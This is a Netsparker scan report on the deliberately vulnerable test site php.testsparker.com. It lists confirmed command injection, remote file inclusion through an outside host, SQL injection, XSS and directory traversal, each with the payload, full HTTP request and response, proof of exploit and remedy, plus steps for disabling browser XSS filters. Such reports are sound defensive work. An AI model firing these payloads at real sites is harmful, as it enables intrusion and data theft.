Scan Time
Scan Duration
7/13/2020 10:04:53 AM (UTC+03:00)
00:00:10:57
Total Requests: 15,210
Average Speed: 23.1r/s
Risk Level:
CRITICAL
Explanation
This report is generated based on WASC classification.

There are 35 more vulnerabilities that are not shown below. Please take a look at the detailed scan report to see them.

VULNERABILITIES
71
IDENTIFIED
38
CONFIRMED
3
CRITICAL
12
HIGH
3
MEDIUM
12
LOW
24
BEST PRACTICE
17
INFORMATION
Identified Vulnerabilities
Critical
High
Medium
Low
Best Practice
Information
TOTAL
3
12
3
12
24
17
71
Confirmed Vulnerabilities
Critical
High
Medium
Low
Best Practice
Information
TOTAL
3
11
2
9
0
13
38

1. Command Injection

CRITICAL
1
CONFIRMED
1

Netsparker identified a Command Injection, which occurs when input data is interpreted as an operating system command.

This is a highly critical issue and should be addressed as soon as possible.

Impact

An attacker can execute arbitrary commands on the system.

Vulnerabilities

1.1. http://php.testsparker.com/nslookup.php
CONFIRMED
CONFIRMED
MethodParameterValue
POSTparam'& SET /A 0xFFF9999-94368 &

Proof of Exploit

whoami

ip-ac1e000bpacheuser

ver

Microsoft Windows [Version 6.1.7601]

tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0         24 K
System                           4                            0        300 K
smss.exe                       268                            0      1,200 K
csrss.exe                      340                            0      4,680 K
wininit.exe                    392                            0      4,344 K
csrss.exe                      400                            1      3,824 K
winlogon.exe                   428                            1      4,184 K
services.exe                   488                            0      8,208 K
lsass.exe                      496                            0     11,760 K
lsm.exe                        504                            0      5,436 K
svchost.exe                    600                            0      8,732 K
nvvsvc.exe                     664                            0      6,612 K
nvwmi64.exe                    688                            0      3,956 K
nvSCPAPISvr.exe                712                            0      5,636 K
svchost.exe                    756                            0      7,192 K
LogonUI.exe                    836                            1     14,268 K
svchost.exe                    844                            0     12,840 K
svchost.exe                    900                            0     35,228 K
svchost.exe                    952                            0     10,580 K
svchost.exe                   1004                            0      5,580 K
svchost.exe                    288                            0     15,788 K
svchost.exe                    332                            0     11,848 K
spoolsv.exe                   1144                            0     10,876 K
nvxdsync.exe                  1160                            1     12,468 K
nvwmi64.exe                   1196                            1      8,008 K
svchost.exe                   1356                            0      9,148 K
inetinfo.exe                  1380                            0     13,008 K
sqlservr.exe                  1448                            0     13,768 K
mysqld-nt.exe                 1520                            0      8,668 K
svchost.exe                   1576                            0      2,736 K
sqlbrowser.exe                1860                            0      4,216 K
sqlwriter.exe                 1928                            0      6,088 K
XenGuestAgent.exe             2020                            0     38,716 K
Ec2Config.exe                 2072                            0     52,624 K
WmiPrvSE.exe                  2244                            0      7,248 K
WmiPrvSE.exe                  2484                            0     20,308 K
svchost.exe                   2572                            0      6,340 K
svchost.exe                   2624                            0      5,548 K
VSSVC.exe                     2784                            0      6,468 K
XenDpriv.exe                  2912                            0     19,536 K
msdtc.exe                     2208                            0      7,336 K
GoogleCrashHandler.exe         880                            0        992 K
GoogleCrashHandler64.exe      1432                            0        808 K
httpd.exe                     2832                            0     16,764 K
httpd.exe                      540                            0     73,168 K
cmd.exe                       1732                            0      3,368 K
conhost.exe                   1772                            0      2,676 K
PING.EXE                      2432                            0      3,472 K
cmd.exe                       1816                            0      3,424 K
conhost.exe                   2612                            0      2,688 K
nslookup.exe                  2180                            0      4,032 K
cmd.exe                       1812                            0      3,396 K
conhost.exe                    948                            0      2,680 K
tasklist.exe                  2428                            0      5,284 K
cmd.exe                       2464                            0        124 K
Go to the highlighted output

Request

POST /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/nslookup.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

param=%27%26+SET+%2fA+0xFFF9999-94368+%26

Response

Response Time (ms) : 539.62
Total Bytes Received : 4256
Body Length : 4032
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=143
Content-Length: 4032
Content-Type: text/html
Date: Mon, 13 Jul 20

<td class="style1" colspan="2">
</td>
</tr>
</table>
</form>
<pre>Server: ip-172-30-0-2.ec2.internal
Address: 172.30.0.2

268314873</pre> </p>
</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form

Actions to Take

  1. See the remedy for solution.
  2. If possible, do not invoke system commands from the application.
  3. Find all instances of similar code and make the code changes outlined in the remedy section.

Remedy

Before invoking system commands within an application, consider using an API which allows you to separate commands and parameters. This can avoid many of the problems associated with command execution. See the external references for some examples. If this is not possible, whitelist all input and encode it in accordance with the underlying subsystem. (e.g. if it is Windows, then you need to escape from cmd.exe control characters)

Required Skills for Successful Exploitation

This is an easy issue to exploit, requiring little skill or knowledge. Most knowledgeable attackers can gain remote access over such a system within minutes.

External References

Remedy References

CLASSIFICATION

WASC31

CVSS 3.0 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

2. Remote File Inclusion

CRITICAL
1
CONFIRMED
1

Netsparker identified a Remote File Inclusion vulnerability on the target web application.

This occurs when a file from any location can be injected into the attacked page and included as source code for parsing and execution.

Impact

Impact may differ depending on the execution permissions of the web server user. Any included source code could be executed by the web server in the context of the web server user, hence making arbitrary code execution possible. Where the web server user has administrative privileges, full system compromise is also possible.

Vulnerabilities

2.1. http://php.testsparker.com/process.php?file=http%3a%2f%2fr87.com%2fn%3f%00.nsp
CONFIRMED
CONFIRMED
MethodParameterValue
GETfilehttp://r87.com/n?%00.nsp

Proof of Exploit

whoami

ip-ac1e000b\apacheuser

ver

Microsoft Windows [Version 6.1.7601]

net user

User accounts for \\IP-AC1E000B

-------------------------------------------------------------------------------
Administrator            ApacheUser               Guest                    
MY                       OY                       
The command completed successfully.

net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
MY
OY
The command completed successfully.

tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0         24 K
System                           4                            0        300 K
smss.exe                       268                            0      1,200 K
csrss.exe                      340                            0      4,652 K
wininit.exe                    392                            0      4,344 K
csrss.exe                      400                            1      3,824 K
winlogon.exe                   428                            1      4,184 K
services.exe                   488                            0      8,320 K
lsass.exe                      496                            0     11,760 K
lsm.exe                        504                            0      5,436 K
svchost.exe                    600                            0      8,732 K
nvvsvc.exe                     664                            0      6,612 K
nvwmi64.exe                    688                            0      3,956 K
nvSCPAPISvr.exe                712                            0      5,636 K
svchost.exe                    756                            0      7,184 K
LogonUI.exe                    836                            1     14,268 K
svchost.exe                    844                            0     12,844 K
svchost.exe                    900                            0     35,204 K
svchost.exe                    952                            0     10,588 K
svchost.exe                   1004                            0      5,580 K
svchost.exe                    288                            0     15,852 K
svchost.exe                    332                            0     11,904 K
spoolsv.exe                   1144                            0     10,892 K
nvxdsync.exe                  1160                            1     12,468 K
nvwmi64.exe                   1196                            1      8,008 K
svchost.exe                   1356                            0      9,144 K
inetinfo.exe                  1380                            0     13,024 K
sqlservr.exe                  1448                            0     13,784 K
mysqld-nt.exe                 1520                            0      8,460 K
svchost.exe                   1576                            0      2,736 K
sqlbrowser.exe                1860                            0      4,216 K
sqlwriter.exe                 1928                            0      6,088 K
XenGuestAgent.exe             2020                            0     38,712 K
Ec2Config.exe                 2072                            0     52,572 K
WmiPrvSE.exe                  2244                            0      7,248 K
WmiPrvSE.exe                  2484                            0     20,176 K
svchost.exe                   2572                            0      6,340 K
svchost.exe                   2624                            0      5,548 K
VSSVC.exe                     2784                            0      6,468 K
XenDpriv.exe                  2912                            0     19,536 K
msdtc.exe                     2208                            0      7,336 K
GoogleCrashHandler.exe         880                            0        992 K
GoogleCrashHandler64.exe      1432                            0        808 K
httpd.exe                     2832                            0     16,764 K
httpd.exe                      540                            0     70,680 K
cmd.exe                       1340                            0      3,360 K
conhost.exe                   1344                            0      2,684 K
tasklist.exe                  3032                            0      5,292 K
Go to the highlighted output

Request

GET /process.php?file=http%3a%2f%2fr87.com%2fn%3f%00.nsp HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 201.0289
Total Bytes Received : 1658
Body Length : 1490
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1490
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:05:10 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> NETSPARKER_F0M1-44353702950-<script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>

Remedy

  • Wherever possible, do not allow the appending of file paths as a variable. File paths should be hard-coded or selected from a small pre-defined list.
  • Where dynamic path concatenation is a major application requirement, ensure input validation is performed and that you only accept the minimum characters required - for example "a-Z0-9" - and that you filter out and do not allow characters such as ".." or "/" or "%00" (null byte) or any other similar multifunction characters.
  • It's important to limit the API to only allow inclusion from a directory or directories below a defined path.

Required Skills for Successful Exploitation

There are freely available web backdoors/shells for exploiting remote file inclusion vulnerabilities and using them requires little knowledge or attack skills. This has typically been one of the most widely leveraged web application vulnerabilities; therefore, there is a high level of information readily available to attacks on how to mount and successfully undertake these forms of attacks.

External References

CLASSIFICATION

WASC5

CVSS 3.0 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CVSS 3.1 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

3. Boolean Based SQL Injection

CRITICAL
1
CONFIRMED
1

Netsparker identified a Boolean-Based SQL Injection, which occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker confirmedthe vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data/tables from the database
  • Executing commands on the underlying operating system

Vulnerabilities

3.1. http://php.testsparker.com/artist.php?id=-1%20OR%2017-7%3d10
CONFIRMED
CONFIRMED
MethodParameterValue
GETid-1 OR 17-7=10

Proof of Exploit

Identified Database Version

5.0.51b-community-nt-log

Identified Database User

root@localhost

Identified Database Name

sqlibench
Go to the highlighted output

Request

GET /artist.php?id=-1%20OR%2017-7%3d10 HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 306.8119
Total Bytes Received : 26895
Body Length : 26666
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=37
Content-Type: text/html
Transfer-Encoding: chunked
Date: Mon, 13 Jul 2020 07:06:31 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: -1 OR 17-7=10</h3></br>

<table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
<td>2 </td>
<td>NICK </td>
<td>WAHLBERG </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
<tr class="even">
<td>3 </td>
<td>ED </td>
<td>CHASE </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
<tr class="odd">
<td>4 </td>
<td>JENNIFER </td>
<td>DAVIS </td>
<td>2006-02-15 04:34:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.

Remedy

The best way to protect your code against SQL injections is using parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

CLASSIFICATION

WASC19

CVSS 3.0 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 SCORE

Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

4. Cross-site Scripting

HIGH
3
CONFIRMED
3

Netsparker detected Cross-site Scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.    

Impact

There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.

Vulnerabilities

4.1. http://php.testsparker.com/artist.php?id=%3cscRipt%3enetsparker(0x000870)%3c%2fscRipt%3e
CONFIRMED
CONFIRMED
MethodParameterValue
GETid<scRipt>netsparker(0x000870)</scRipt>
Go to the highlighted output

Request

GET /artist.php?id=%3cscRipt%3enetsparker(0x000870)%3c%2fscRipt%3e HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 180.1612
Total Bytes Received : 3142
Body Length : 2974
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2974
Content-Type: text/html
Date: Mon, 13 Jul 20

class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: <scRipt>netsparker(0x000870)</scRipt></h3></br>

no rows returned
</p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>


4.2. http://php.testsparker.com/hello.php?name=%3cscRipt%3enetsparker(0x000290)%3c%2fscRipt%3e
CONFIRMED
CONFIRMED
MethodParameterValue
GETname<scRipt>netsparker(0x000290)</scRipt>
Go to the highlighted output

Request

GET /hello.php?name=%3cscRipt%3enetsparker(0x000290)%3c%2fscRipt%3e HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 144.0687
Total Bytes Received : 3186
Body Length : 3018
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3018
Content-Type: text/html
Date: Mon, 13 Jul 20

/a></h1>
<p>
Hello Visitor<br />
<b>Parse error</b>: syntax error, unexpected '>' in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 <scRipt>netsparker(0x000290)</scRipt>;20 </p>

<div style="clear: both;">&nbsp;</div>
<div class="entry">


</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -

4.3. http://php.testsparker.com/products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0005EE)%3C/scRipt%3E
CONFIRMED
CONFIRMED
MethodParameterValue
GETpro'"--></style></scRipt><scRipt>netsparker(0x0005EE)</scRipt>
Go to the highlighted output

Request

GET /products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0005EE)%3C/scRipt%3E HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.1312
Total Bytes Received : 3036
Body Length : 2868
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2868
Content-Type: text/html
Date: Mon, 13 Jul 20

t="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "'"--></style></scRipt><scRipt>netsparker(0x0005EE)</scRipt>" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<

Remedy

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such asOWASP ESAPIandMicrosoft Anti-cross-site scripting.

Additionally, you should implement a strong Content Security Policy (CSP) as a defense-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross-site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one. 

External References

Remedy References

Proof of Concept Notes

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:configin the URL address bar.
  • In the search field, type urlbar.filterand find browser.urlbar.filter.javascript.
  • Set its value to falseby double clicking the row.

Safari

  • To disable the XSS Auditor, open Terminal and executing the command:  defaults write com.apple.Safari "com.apple.Safari.ContentPageGroupIdentifier.WebKit2XSSAuditorEnabled" -bool FALSE
  • Relaunch the browser and visit the PoC URL
  • Please don't forget to enable XSS auditor again:  defaults write com.apple.Safari "com.apple.Safari.ContentPageGroupIdentifier.WebKit2XSSAuditorEnabled" -bool TRUE

CLASSIFICATION

WASC8

CVSS 3.0 SCORE

Base7.4 (High)
Temporal7.4 (High)
Environmental7.4 (High)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVSS 3.1 SCORE

Base7.4 (High)
Temporal7.4 (High)
Environmental7.4 (High)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

5. Local File Inclusion

HIGH
1
CONFIRMED
1

Netsparker identified a Local File Inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Netsparker confirmedthis issue by reading some files from the target web server.

Impact

The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:
  • Gather usernames via an "/etc/passwd"file
  • Harvest useful information from the log files, such as "/apache/logs/error.log"or "/apache/logs/access.log"
  • Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection

Vulnerabilities

5.1. http://php.testsparker.com/process.php?file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp
CONFIRMED
CONFIRMED
MethodParameterValue
GETfile/../../../../../../../../../../windows/win.ini%00.nsp

Proof of Exploit

File - C:\windows\win.ini

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
Go to the highlighted output

Request

GET /process.php?file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 137.9546
Total Bytes Received : 1682
Body Length : 1514
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1514
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:05:20 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]

MAPI=1
<!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>

Remedy

  • If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
  • If you definitely need dynamic path concatenation, ensure you only accept required characters such as "a-Z0-9" and do not allow ".." or "/" or "%00" (null byte) or any other similar unexpected characters.
  • It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.

External References

CLASSIFICATION

WASC33

CVSS 3.0 SCORE

Base8.6 (High)
Temporal8.6 (High)
Environmental8.6 (High)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVSS 3.1 SCORE

Base8.6 (High)
Temporal8.6 (High)
Environmental8.6 (High)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

6. Password Transmitted over HTTP

HIGH
6
CONFIRMED
6

Netsparker detected that password data is being transmitted over HTTP.

Impact

If an attacker can intercept network traffic, he/she can steal users' credentials.

Vulnerabilities

6.1. http://php.testsparker.com/auth/
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Input Name

  • password

Form target action

  • control.php
Go to the highlighted output

Request

GET /auth/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
